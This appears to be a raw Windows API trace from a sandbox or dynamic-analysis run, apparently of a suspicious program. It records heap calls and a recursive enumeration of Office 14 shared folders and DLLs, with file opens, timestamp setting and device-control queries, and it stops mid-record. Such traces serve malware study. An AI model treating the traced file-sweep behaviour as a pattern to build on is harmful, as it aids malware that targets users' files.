[0048.945] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.945] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.945] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.945] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.945] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.945] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.946] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 1 [0048.946] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.946] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.946] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.946] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.946] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.946] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.946] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 0 [0048.946] GetLastError () returned 0x12 [0048.946] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0048.946] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0048.946] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.946] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0048.946] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.946] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0048.946] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0048.946] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0048.946] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9ee978 [0048.946] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ee978, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9ee978, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0048.947] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ee978) returned 1 [0048.947] NtClose (Handle=0x168) returned 0x0 [0048.947] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.947] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.947] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0048.947] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0048.947] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0048.948] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.948] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0x305a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEINTL.DLL", cAlternateFileName="")) returned 1 [0048.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0048.948] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0048.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0048.948] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0048.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0048.948] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0048.948] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0xcdb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBCI.DLL", cAlternateFileName="")) returned 1 [0048.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0048.948] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0048.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0048.948] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0048.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0048.948] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0048.948] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x51d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERECR.DLL", cAlternateFileName="")) returned 1 [0048.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0048.948] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0048.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0048.948] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0048.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0048.948] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0048.948] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xd2990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSTR.DLL", cAlternateFileName="")) returned 1 [0048.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0048.948] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0048.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0048.948] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0048.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0048.948] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0048.948] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f139500, ftCreationTime.dwHighDateTime=0x1c69359, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7f139500, ftLastWriteTime.dwHighDateTime=0x1c69359, nFileSizeHigh=0x0, nFileSizeLow=0x19a3ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO210.CHM", cAlternateFileName="")) returned 1 [0048.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0048.949] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0048.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0048.949] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0048.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0048.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e66e0 [0048.949] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0048.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5878 [0048.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e67e8 [0048.949] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0048.949] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b06d00, ftCreationTime.dwHighDateTime=0x1ca9127, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe4b06d00, ftLastWriteTime.dwHighDateTime=0x1ca9127, nFileSizeHigh=0x0, nFileSizeLow=0x25b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALRTINTL.DLL", cAlternateFileName="")) returned 1 [0048.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0048.949] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0048.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0048.949] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0048.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0048.949] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0048.949] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xc24a9ec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x269380, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL", cAlternateFileName="")) returned 1 [0048.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0048.949] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0048.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0048.949] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0048.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0048.949] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0048.949] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b30dd00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5b30dd00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0xd980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0048.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0048.949] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0048.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0048.949] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0048.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0048.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5898 [0048.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e68f0 [0048.950] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4c0) returned 0x9e82a8 [0048.950] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e5e20) returned 1 [0048.950] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0048.950] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c620a00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee8f1b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c620a00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x152f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0048.950] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0048.950] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0048.950] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0048.950] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0048.950] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0048.950] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e58b8 [0048.950] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xa388, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAPR3.DLL", cAlternateFileName="")) returned 1 [0048.950] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x356f9800, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x356f9800, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OARPMANR.DLL", cAlternateFileName="")) returned 1 [0048.950] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d183e00, ftCreationTime.dwHighDateTime=0x1ca520c, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4d183e00, ftLastWriteTime.dwHighDateTime=0x1ca520c, nFileSizeHigh=0x0, nFileSizeLow=0x795, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.HTM", cAlternateFileName="")) returned 1 [0048.950] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="")) returned 1 [0048.950] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="")) returned 0 [0048.950] GetLastError () returned 0x12 [0048.950] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0048.950] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0048.950] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.950] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0x305a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEINTL.DLL", cAlternateFileName="")) returned 1 [0048.950] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0xcdb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBCI.DLL", cAlternateFileName="")) returned 1 [0048.950] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x51d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERECR.DLL", cAlternateFileName="")) returned 1 [0048.950] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xd2990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSTR.DLL", cAlternateFileName="")) returned 1 [0048.951] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f139500, ftCreationTime.dwHighDateTime=0x1c69359, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7f139500, ftLastWriteTime.dwHighDateTime=0x1c69359, nFileSizeHigh=0x0, nFileSizeLow=0x19a3ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO210.CHM", cAlternateFileName="")) returned 1 [0048.951] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b06d00, ftCreationTime.dwHighDateTime=0x1ca9127, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe4b06d00, ftLastWriteTime.dwHighDateTime=0x1ca9127, nFileSizeHigh=0x0, nFileSizeLow=0x25b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALRTINTL.DLL", cAlternateFileName="")) returned 1 [0048.951] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xc24a9ec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x269380, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL", cAlternateFileName="")) returned 1 [0048.951] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b30dd00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5b30dd00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0xd980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0048.951] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c620a00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee8f1b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c620a00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x152f80, 